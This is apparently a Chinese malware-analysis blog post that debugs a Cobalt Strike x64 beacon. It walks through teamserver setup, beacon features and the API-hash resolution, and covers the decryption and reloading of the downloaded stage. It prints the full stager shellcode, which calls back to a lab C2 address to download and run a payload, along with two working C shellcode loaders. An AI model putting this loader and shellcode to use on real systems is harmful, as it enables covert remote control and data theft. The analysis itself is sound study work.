CobaltStrike动调

Teamserver的配置与Beacon生成

Teamserver的配置

(使用管理员权限启动)

1
.\teamserver.bat 192.168.18.132 password
···

image

生成Beacon

.启动监听器

屏幕截图 2024-07-24 141559

生成beacon程序

选择监听器,然后点击attacks,生成X64 beacon

image

点击Generate并选择保存位置

在目标上线

在目标机上运行Beacon

image

成功上线

测试功能

选中目标机右键点击interact,开始交互功能

  1. screenshot​ - 捕获目标系统的屏幕截图
  2. keylogger​ - 记录目标系统的键盘输入
  3. download​ - 从目标系统下载文件
  4. upload​ - 上传文件到目标系统
  5. shell​ - 在目标系统上执行 shell 命令
  6. getprivs​ - 尝试提升目标系统的权限
  7. run​ - 在目标系统上执行自定义脚本

image

processes

image

Screenshots

image

keystrokes

image

Beacon调试外壳分析

以c语言形式生成shellcode

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/* length: 893 bytes */
unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b
\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41
\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85
\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48
\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66
\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83
\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56
\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a
\x56\x79\xa7\xff\xd5\xeb\x73\x5a\x48\x89\xc1\x41\xb8\x50\x00\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f
\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x02\x40\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff
\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06
\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xd3\xe9\xe4\x01\x00\x00\xe8\xa2\xff\xff\xff
\x2f\x66\x42\x4f\x66\x00\xd2\xba\xbd\xba\x61\x5f\x65\xa5\xc1\xdb\xf6\xa9\x48\x32\xa9\xe2\x48\xd3\xca\x7c\xd7\x9a\xb4\x34\x18\x4f\xc2
\xa2\xa4\xc6\xfb\x42\x8c\xe5\x5e\x3c\x12\x42\x16\x02\x39\x74\x18\x5c\xb3\xbb\xd4\x72\xe1\xa4\xa9\xb7\x69\xf6\xeb\xd3\x62\xeb\x8d\x28
\xb8\x03\xec\x19\xe2\xe7\xeb\x2e\x87\xa9\xf0\xdb\x3e\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61
\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x31\x30\x2e\x30\x3b\x20\x57\x69\x6e\x64
\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x32\x3b\x20\x57\x69\x6e\x36\x34\x3b\x20\x78\x36\x34\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x36
\x2e\x30\x3b\x20\x41\x76\x61\x6e\x74\x20\x42\x72\x6f\x77\x73\x65\x72\x29\x0d\x0a\x00\x12\x18\xe7\x65\xef\xdc\x5a\x97\xc9\x8b\x4b\x94
\xc1\x47\xb6\x52\x3b\xd5\x38\x93\xca\x58\x24\x90\xd1\x1d\xfc\xf1\x21\xb5\x7a\x14\x0b\x0d\xea\x83\xdb\x4a\x3c\x1a\x38\x83\xd8\xc7\x74
\x29\x05\xfa\x8e\x50\x8a\xa9\x01\xf8\x5e\x50\x2c\xa6\x7c\xdf\xb3\x97\x55\xac\x67\x0b\xf6\xa8\x87\x3c\x22\xec\x23\x98\xf3\x3c\x79\x88
\xfc\x33\x99\x4a\x54\x65\xdf\xe5\xef\xc1\xca\x70\x52\x8e\x99\xed\x52\xdd\xfa\xea\x03\xa2\x85\x83\x30\x42\x8f\x2d\x16\x7a\xb5\x24\x01
\x4e\x1d\x2f\xca\x2b\x8a\x70\x41\xef\x61\xaf\x4c\x20\x16\x4b\xe4\x13\xa6\x75\x75\x96\x09\x7d\xc9\x81\x0e\x8f\x77\x38\xd2\x28\x8f\x3f
\x3f\xbb\x32\xf0\x1a\x6a\x44\xcd\x0a\x1a\x6f\xdf\xbf\xfb\x29\x9a\xc0\x76\x4a\xa3\xce\x36\x12\xa9\xc1\xf4\x0e\x33\x69\xc9\x42\x8e\x8b
\x28\x35\x95\x1d\x43\xb2\xe2\x12\x83\x88\x9f\x60\xac\x92\xb8\x7e\x01\xdf\x1f\xee\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba
\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89
\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48
\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x38\x2e
\x31\x33\x32\x00\x5e\x2e\x78\x90";

对Windows开发和shellcode loader不熟悉,询问chat并进行修改,生成shellcode loader

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>

unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb\x73\x5a\x48\x89\xc1\x41\xb8\x50\x00\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x02\x40\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xd3\xe9\xe4\x01\x00\x00\xe8\xa2\xff\xff\xff\x2f\x74\x32\x6e\x49\x00\x0c\xda\x45\x13\xbb\x51\xcc\x08\x55\x80\x06\xe7\x40\xf2\x8a\x59\x6b\x7f\xe2\x00\x4a\x51\xd0\x09\xa2\x57\xe1\x30\x5d\xcb\x7b\xad\x44\x3c\x07\x3d\xa5\x75\x88\xe9\xd6\xa9\xa1\xfd\xb3\x7a\xe2\x8c\x19\x05\x8f\xfc\xf4\x27\xec\x4e\xfc\x6a\xe9\x1f\x94\xdf\x4c\x96\xf9\xbc\x2b\x12\x8a\x67\x72\xed\x58\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x38\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x35\x2e\x31\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x34\x2e\x30\x3b\x20\x42\x54\x52\x53\x31\x32\x35\x35\x32\x36\x29\x0d\x0a\x00\xae\xe1\x01\x1c\xaa\x64\x16\x48\x4f\x20\x35\x43\x90\x6b\xf7\xf9\x6a\x51\x08\xdf\x53\x5c\x64\x33\x31\x76\xf5\x73\x59\x7a\xd6\x80\x80\xba\x54\x30\x97\xac\x21\xab\x3c\xee\x9e\xe1\xda\xc3\x0b\x18\x16\xe8\x3b\x9e\x8d\xcb\x62\xfd\xb6\x2e\x05\x2c\x61\xc3\x23\xd8\xe5\x9d\x1d\x65\xaa\xb2\x3c\xd2\xf6\x63\x1d\x5b\x80\x5a\x50\x7c\x0c\xe9\x94\x5c\x3a\xdc\xb2\x1c\xd2\x46\x61\xee\x4f\xc8\xe5\x9a\xe0\x9f\xa1\x71\x2f\x9f\x13\x24\xaf\x84\xe6\x86\x3a\x33\x35\x18\x14\xe4\x66\x02\xc7\x0d\xd6\xf0\x0f\xdd\x44\xbc\xa5\x01\xf5\x2d\x96\x7f\xd8\xe8\x76\xfb\xf7\xb8\x36\x66\x2f\x64\x1f\xbb\xb5\x24\xe2\x06\xad\x3d\x38\xc5\x90\xd3\x02\xea\x52\xf0\x06\x1d\x32\x80\x4b\xe7\x31\xe2\x7d\x1a\xe3\x31\x29\xb0\xd9\x80\x4f\x18\x5a\x68\xad\xb3\x06\x2d\xa3\x20\x7a\xf0\xe1\x4c\x0c\x0f\x70\x5b\x9e\xc4\x8b\x42\xc0\xea\xd2\x94\xa6\xf4\x65\x0f\xaf\x7e\xdc\xd1\x02\x35\x7c\xf6\x21\x69\x8c\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x38\x2e\x31\x33\x32\x00\x5e\x2e\x78\x90";


int main() {
/* 创建一个可执行的堆内存块
HEAP_CREATE_ENABLE_EXECUTE 标志允许执行在该堆上分配的内存*/
HANDLE myHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);

/* 在创建的可执行堆上分配内存,大小为 buf 数组的大小
HEAP_ZERO_MEMORY 标志将分配的内存初始化为 0*/
void* exec = HeapAlloc(myHeap, HEAP_ZERO_MEMORY, sizeof(buf));

// 将 buf 数组中的数据复制到分配的内存块中
memcpy(exec, buf, sizeof(buf));

// 将分配的内存块强制转换为函数指针类型,然后立即调用该函数,这样就可以执行存储在该内存块中的代码(shellcode)
((void (*)())exec)();

// 释放分配的内存块
HeapFree(myHeap, 0, exec);

// 销毁创建的可执行堆
HeapDestroy(myHeap);

return 0;
}

测试发现成功上线,说明shellcode loader可用

image

IDA静态分析

先使用die打开大致查看生成的shellcode loader

image

                        (图1)

image

                            (图2)

图1是我自己使用gcc编译链接的shellcode loader,图2是我直接使用cs生成的,发现cs也是使用的是MinGW编译生成的并知道程序入口点是0x04014b

main​函数

使用ida打开cs直接生成X64 beacon,定位观察main函数

image

调用了三个函数:sub_402A60​、sub_401795​、__imp_Sleep

sub_402A60​函数

image

像是简单的赋值操作

sub_401795​函数

image

这个函数定义了一些变量,然后变量v8调用了WinAPI函数GetTickCount​(GetTickCount()​ 是一个 Windows API 函数,用于获取从系统启动到当前时刻经过的毫秒数。)静态分析并不清楚取余操作的作用

sprintf()​ 是 C 语言中的一个标准函数,它的作用是将格式化的数据写入到一个字符串中。

sprintf​相当于就是把前面的变量格式化为%c%c%c%c%c%c%c%c%cMSSE-%d-server​的形式存储到Buffeer中

CreateThread​ 是 Windows API 中的一个函数,它用于创建一个新的线程。

CreateThread​ 函数调用将创建一个新的线程,该线程执行 sub_401685​ 函数作为其入口点,并使用默认的线程属性。

查看汇编发现最后jmp sub_401742​,return调用跳转到了sub_401742​函数

sub_401685​函数

跟进观察sub_401685​函数

image

sub_4015D0​函数

继续跟进分析sub_4015D0​函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int __fastcall sub_4015D0(char *lpBuffer, signed int nNumberOfBytesToWrite)
{
char *NamedPipeA; // rbx
int result; // eax
DWORD NumberOfBytesWritten; // [rsp+4Ch] [rbp-2Ch] BYREF

NumberOfBytesWritten = 0;
/*调用将创建一个命名管道,该管道的名称为 Buffer,最多可以同时连接 2 个客户端,输出缓冲区大小为默认值,
输入缓冲区大小为 1 字节,使用默认的超时时间和安全属性。*/
NamedPipeA = CreateNamedPipeA(Buffer, 2u, 0, 1u, 0, 0, 0, 0i64);
result = NamedPipeA - 1;

if ( (NamedPipeA - 1) <= 0xFFFFFFFFFFFFFFFDui64 )//检验管道是否创建成功
{
result = ConnectNamedPipe(NamedPipeA, 0i64);//尝试连接到刚才创建的命名管道
if ( result )//判断连接是否成功
{
while ( nNumberOfBytesToWrite > 0
&& WriteFile(NamedPipeA, lpBuffer, nNumberOfBytesToWrite, &NumberOfBytesWritten, 0i64) )//
{
nNumberOfBytesToWrite -= NumberOfBytesWritten;//更新写入数据,减去已写入的字节数
lpBuffer += NumberOfBytesWritten;//更新 lpBuffer 的地址,指向下一个要写入的位置
}
return CloseHandle(NamedPipeA);//关闭命名通道
}
}
return result;
}

while (nNumberOfBytesToWrite > 0 && WriteFile(NamedPipeA, lpBuffer, nNumberOfBytesToWrite, &NumberOfBytesWritten, 0i64))

1、在连接成功的情况下,开始循环写入数据到管道。

2、nNumberOfBytesToWrite​ 要写入的字节数。

3、lpBuffer​ 要写入的数据缓冲区的地址。

4、&NumberOfBytesWritten​ 用于记录实际写入的字节数。

5、0i64​ 表示使用默认的重叠 I/O 参数。

sub_401742​函数

1
2
3
4
5
6
7
8
9
10
11
__int64 sub_401742()
{
void *v0; // rbx

v0 = malloc(nNumberOfBytesToRead);//申请动态内存空间
do
Sleep(0x400u);
while ( !sub_4016A2(v0, nNumberOfBytesToRead) );//判断对Buffer的读取是否成功
sub_40152E(v0, nNumberOfBytesToRead, &unk_404008);
return 0i64;
}

sub_4016A2​函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
__int64 __fastcall sub_4016A2(char *lpBuffer, signed int nNumberOfBytesToRead)
{
HANDLE FileA; // rsi
__int64 result; // rax
DWORD NumberOfBytesRead; // [rsp+4Ch] [rbp-2Ch] BYREF

NumberOfBytesRead = 0;
FileA = CreateFileA(Buffer, 0x80000000, 3u, 0i64, 3u, 0x80u, 0i64);//打开名叫Buffer的文件
result = 0i64;
if ( FileA != -1i64 )
{
while ( nNumberOfBytesToRead > 0 && ReadFile(FileA, lpBuffer, nNumberOfBytesToRead, &NumberOfBytesRead, 0i64) )//循环读取FileA 中的内容
{
nNumberOfBytesToRead -= NumberOfBytesRead;
lpBuffer += NumberOfBytesRead;
}
CloseHandle(FileA);
return 1i64;
}
return result;
}

FileA = CreateFileA(Buffer, 0x80000000, 3u, 0i64, 3u, 0x80u, 0i64);​用于创建或打开文件。

  1. Buffer​: 这个参数是一个字符串,代表要创建或打开的文件名。
  2. 0x80000000​: 这是一个十六进制的文件访问标志,表示以读写模式打开文件。
  3. 3u​: 这个参数是文件共享模式标志,表示允许文件被其他进程读取和写入。
  4. 0i64​: 这个参数是文件属性标志,传0表示使用默认属性。
  5. 3u​: 这个参数是文件创建选项标志,表示如果文件不存在则创建,如果存在则打开。
  6. 0x80u​: 这个参数是文件属性和标志,表示以普通文件模式打开。
  7. 0i64​: 这个参数是文件安全描述符,传0表示使用默认值。

ReadFile(FileA, lpBuffer, nNumberOfBytesToRead, &NumberOfBytesRead, 0i64)​读取文件数据。

  1. FileA​: 这是前面创建或打开文件时返回的文件句柄。
  2. lpBuffer​: 这是一个指针,指向存储读取数据的缓冲区。
  3. nNumberOfBytesToRead​: 这个参数指定要读取的字节数。
  4. &NumberOfBytesRead​: 这是一个输出参数,用于存储实际读取的字节数。
  5. 0i64​: 这是一个可选的重叠(overlapped)结构指针参数,在异步读取时使用。在这里传 0i64​ 表示使用同步读取模式。

总的来说这个函数实现了从Buffer中读取数据并存储到指定缓冲区的操作

sub_40152E​函数

image

申请了一个a2大小的空间给变量v7

参数a1指向的数据和a3指向的数据以特定的顺序进行异或运算,然后赋值给了v7指定的空间中

sub_4014F3​函数是将GetModuleHandleA​函数与GetProcAddress​函数地址存到指定地址

将地址为 v7​、大小为 v3​ 字节的内存块的访问保护属性修改为允许读、写和执行。

返回入口点为StartAddress的进程

sub_4014F3​函数

image

前面分析了这个函数,大致作用

StartAddress​函数

image

一个简单返回lpThreadParameter指针所指地址的函数

静态分析完成main函数大致逻辑

shellcode分析

远端shellcode加载

获取模块基址

image

进入shellcode之后,发现有call loc_200D2,步入观察

image

将74656E696E6977h存储到r14寄存器中,并将r14入栈,其中74656E696E6977h是wininet的特征码

image

Windows Internet (WinINet) 应用程序编程接口 (API) 使应用程序能够与 FTP 和 HTTP 协议进行交互以访问 Internet 资源。 随着标准的发展,这些函数处理基础协议中的更改,使它们能够保持一致的行为。

image

使用遍历PEB模块链表加载模块

image

1
2
3
4
5
debug025:0000000000020014 mov     rdx, gs:[rdx+60h] //找到PEB结构体
debug025:0000000000020019 mov rdx, [rdx+18h] //Ldr
debug025:000000000002001D mov rdx, [rdx+20h] //LIST_ENTRY InMemoryOrderModuleList;
debug025:0000000000020021 mov rsi, [rdx+50h] //模块名称
debug025:0000000000020025 movzx rcx, word ptr [rdx+4Ah] //模块名称长度

image

rsi指向了这个程序本身也就是之前为这个程序取的t.exe

1
2
3
4
5
6
7
8
9
10
11
12
13
debug031:000000000002002D loc_2002D:                              ; CODE XREF: debug031:000000000002003E↓j
debug031:000000000002002D xor rax, rax
debug031:0000000000020030 lodsb //从 RSI 指向的缓冲区中读取一个字节到 AL 寄存器
debug031:0000000000020031 cmp al, 61h ; 'a' //检查读取的字节是否小于 'a'
debug031:0000000000020033 jl short loc_20037 //如果小于 'a',跳转到 loc_20037
debug031:0000000000020035 sub al, 20h ; ' ' //大于就转换为大写字母
debug031:0000000000020037
debug031:0000000000020037 loc_20037: ; CODE XREF: debug031:0000000000020033↑j
debug031:0000000000020037 ror r9d, 0Dh //将 R9D 寄存器中的值向右循环移位 13 位
debug031:000000000002003B add r9d, eax //将当前字节的值加到 R9D 寄存器中
debug031:000000000002003E loop loc_2002D //循环次数就是模块长度
debug031:0000000000020040 push rdx
debug031:0000000000020041 push r9

这里就是计算每个模块名称的哈希值,并将结果存储在 R9 寄存器中

image

直接打断点跳转到结束语句,查看rsi寄存器

image

LoadLibraryExA​ 是 Windows 系统中的一个 API 函数,用于动态加载 DLL 库。

LoadLibraryExA​函数去调用了winiet

总结:通过双向链表指向进程装载的模块,然后通过HASH API寻址,然后将LoadLibraryExA函数的地址存入RAX等待调用

通过Hash查找API函数地址 (green-m.me)

加载功能函数

因为rax中存的是kernelbase_LoadLibraryA函数

image

步入查看详细逻辑

image

这段代码实现了一个 kernelbase_LoadLibraryA​ 函数,它在加载 DLL 时会先检查是否为 “twain_32.dll”,如果是则尝试从 Windows 目录下加载。如果加载失败或者 DLL 名称不是 “twain_32.dll”,则直接调用 kernelbase_LoadLibraryExA​ 函数进行加载。

直接跳出kernelbase_LoadLibraryA​函数,继续分析当前指令

image

0A779563Ah新的特征值,一直运行到call rbp 观察rbp发现存的地址是0x000000000002000A,跳转回去,直接运行到

image

A779563Ah->winiet_InternetOpenA

winiet_InternetOpenA​函数用于打开一个 Internet 连接的 API 函数

继续调试发现同样的规律,有点类似于c语言中的switch​()case​语句

image

照相同手法调试发现

0C69F8957h–>wininet_InternetConnectA

3B2E55EBh->wininet_HttpOpenRequestA

7B18062Dh->wininet_HttpSendRequestA(这个会多次循环,需要打开cs,调试到这里时cs中靶机就成功上线了)

E553A458h->kernel32_VirtualAlloc(调试这个的时候可能出现内存访问错误,打开cs之后再进行调试)

E2899612h->wininet_InternetReadFile

这些函数一起使用的效果就是发送HTTP请求接收并响应,然后分配一个虚拟内存,并Internet 连接中读取数据存到刚才的虚拟内存中

远程文件读取

前面三个函数是为了发送Http请求,主要分析后两个函数查看wininet_InternetReadFile的执行过程获取远程文件的保存位置

image

kernelbase_VirtualAlloc​函数

1
2
3
4
5
6
LPVOID kernelbase_VirtualAlloc(
LPVOID lpAddress,//要分配的虚拟内存地址,如果为NULL,系统会自动选择一个合适的地址。
SIZE_T dwSize,//要分配的虚拟内存大小,以字节为单位。
DWORD flAllocationType,//内存分配的类型,可以是MEM_COMMIT、MEM_RESERVE或它们的组合。
DWORD flProtect//内存页面的保护属性,如PAGE_READWRITE、PAGE_EXECUTE_READWRITE等。
);

四个参数,找到申请是空间地址

image

lpAddress=0014F9D8h ;申请开辟内存空间首地址

dwSize=400000 ;申请内存空间大小

flAllocationType=1000 ;申请内存类型

flProtect=40 ;内存保护类型

跳转返回,查看下一个函数

wininet_InternetReadFile​是Windows系统中 WinInet API 提供的一个函数,用于从 Internet 连接中读取数据

1
2
3
4
5
6
BOOL wininet_InternetReadFile(
HINTERNET hFile,// 函数返回的有效的 Internet 句柄。
LPVOID lpBuffer,//指向用于存储读取数据的缓冲区的指针。
DWORD dwNumberOfBytesToRead,//要读取的最大字节数。
LPDWORD lpdwNumberOfBytesRead//接收实际读取字节数的指针。
);

一个标准的wininet_InternetReadFile函数,没什么好看的,直接跳转返回

进行了循环读取

image

内存动态解密

文件读取完毕,将会跳转到文件内存存储地址

image

观察rax和rbx发现文件起始位置是0x032F0000,文件结束位置是0x03330447,计算得文件大小为0x40447,

image

存在加密,貌似是smc,调试自解密,起始地址为0x0324003F;直接p强制识别为函数,看伪代码

image

直接跳转到解密结束,rax指向了0x03410047,使用x64dbg dump出来

image

这里使用x64 dump的时候运行程序崩了,所以直接使用ida中的idc脚本进行dump

1
2
3
4
5
6
7
8
9
static main(void)
{
auto fp, begin, end, dexbyte;
fp = fopen("MEM_00000000029B0047_00040400.mem", "wb");
begin = 0x3300047;
end = begin + 40400;
for ( dexbyte = begin; dexbyte < end; dexbyte ++ )
fputc(Byte(dexbyte), fp);
}

将dump出来的文件进行重编译

1
2
3
4
5
6
7
8
9
10
11
12
#include<windows.h>
int main(void) {
HANDLE hfile = CreateFileA("MEM_00000000029B0047_00040400.mem",
FILE_ALL_ACCESS, 0, NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
LPVOID buffer = VirtualAlloc(NULL, 0x4000000, MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
DWORD realRead = 0;
ReadFile(hfile, buffer, 0x4000000, &realRead, NULL);
((void(*)())buffer)();
return 0;
}

测试上线成功

image

使用ida反编译

image

远端文件装载

这一阶段程序将重装载从远程下载的PE文件,约定称重装载前为源PE文件,重装载后为新PE文件

内存文件基址的定位

继续刚才的shellcode分析,单步进入,之后ida会将刚才的数据转换为汇编,或则在步入之前点击c键强制转换也可以

image

call 这里步入

image

这里进行了一些栈空间的清理工作,然后继续步入loc_3316413

看到一个loc_3316393,这里只是从栈上读取一个值到 RAX 寄存器中,快速步过

image

程序在寻找4D5Ah和4500h,这是DOS文件头与NT头的标志,即在进行PE文件的定位

直接跳转到ret返回

1
2
3
4
5
6
7
8
9
10
11
12
debug078:000000000331619B                 call    loc_3316413
debug078:00000000033161A0 mov [rsp+50h], rax
debug078:00000000033161A5 mov eax, [rsp+70h]
debug078:00000000033161A9 and eax, offset unk_FFFFFF
debug078:00000000033161AE cmp eax, offset unk_414141
debug078:00000000033161B3 jnz short loc_33161CF
debug078:00000000033161B5 mov eax, [rsp+78h]
debug078:00000000033161B9 and eax, offset unk_FFFFFF
debug078:00000000033161BE cmp eax, offset unk_424242
debug078:00000000033161C3 jnz short loc_33161CF
debug078:00000000033161C5 lea rcx, [rsp+70h]
debug078:00000000033161CA call loc_33164A3

这里同样还在进行检索,步入loc_33164A3

image

获取模块基址

又进行了模块寻址的过程,并将其存储到栈中备用 并在检查是否拿到链表指针后

接续执行,发现特征码6A4ABC5Bh,打上断点到跳过这一寻找过程,可知现在找到的是kernel32模块(通过查看rax寄存器

image

image

进行了和前面提到的hash api寻址一样的操作,找到功能函数

加载功能函数

在上面的基础上跳出循环,直接来到特征码(注意跳出上面的hash api寻址的循环,来到下面这一步

第一个识别的特征码是0D3324904h,0D3324904h->kernel32_GetModuleHandleA,继续同样的操作

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
debug083:00000000035B67CA loc_35B67CA:                            ; CODE XREF: debug083:00000000035B67AB↑j
debug083:00000000035B67CA cmp dword ptr [rsp+4], 0D3324904h
debug083:00000000035B67D2 jnz short loc_35B67EE
debug083:00000000035B67D4 mov rax, [rsp+18h]
debug083:00000000035B67D9 mov eax, [rax]
debug083:00000000035B67DB mov rcx, [rsp+8]
debug083:00000000035B67E0 add rcx, rax
debug083:00000000035B67E3 mov rax, rcx
debug083:00000000035B67E6 mov rcx, [rsp+70h]
debug083:00000000035B67EB mov [rcx], rax //将kernel32_GetModuleHandleA函数存入rcx寄存器的地址
debug083:00000000035B67EE
debug083:00000000035B67EE loc_35B67EE: ; CODE XREF: debug083:00000000035B6726↑j
debug083:00000000035B67EE ; debug083:00000000035B6750↑j ...
debug083:00000000035B67EE movzx eax, word ptr [rsp]
debug083:00000000035B67F2 dec ax
debug083:00000000035B67F5 mov [rsp], ax //计数器减一,标志已找到一个功能函数
debug083:00000000035B67F9
debug083:00000000035B67F9 loc_35B67F9: ; CODE XREF: debug083:00000000035B66CD↑j//模块表的递进
debug083:00000000035B67F9 mov rax, [rsp+38h]
debug083:00000000035B67FE add rax, 4
debug083:00000000035B6802 mov [rsp+38h], rax
debug083:00000000035B6807 mov rax, [rsp+50h]
debug083:00000000035B680C add rax, 2
debug083:00000000035B6810 mov [rsp+50h], rax
debug083:00000000035B6815 jmp loc_35B6628 //跳回继续hash 寻址

7C0DFCAAh->kernel32_GetProcAddress

image

调试得到:

0EC0E4E8Eh->kernel32_LoadLibraryA

753A4FCh->kernel32_LoadLibraryExA

91AFCA54h->kernel32_VirtualAlloc

7946C61Bh->kernel32_VirtualProtect

image

功能函数加载完毕,存入栈中等待调用

DLL文件重装载

开辟用于重装载的空间

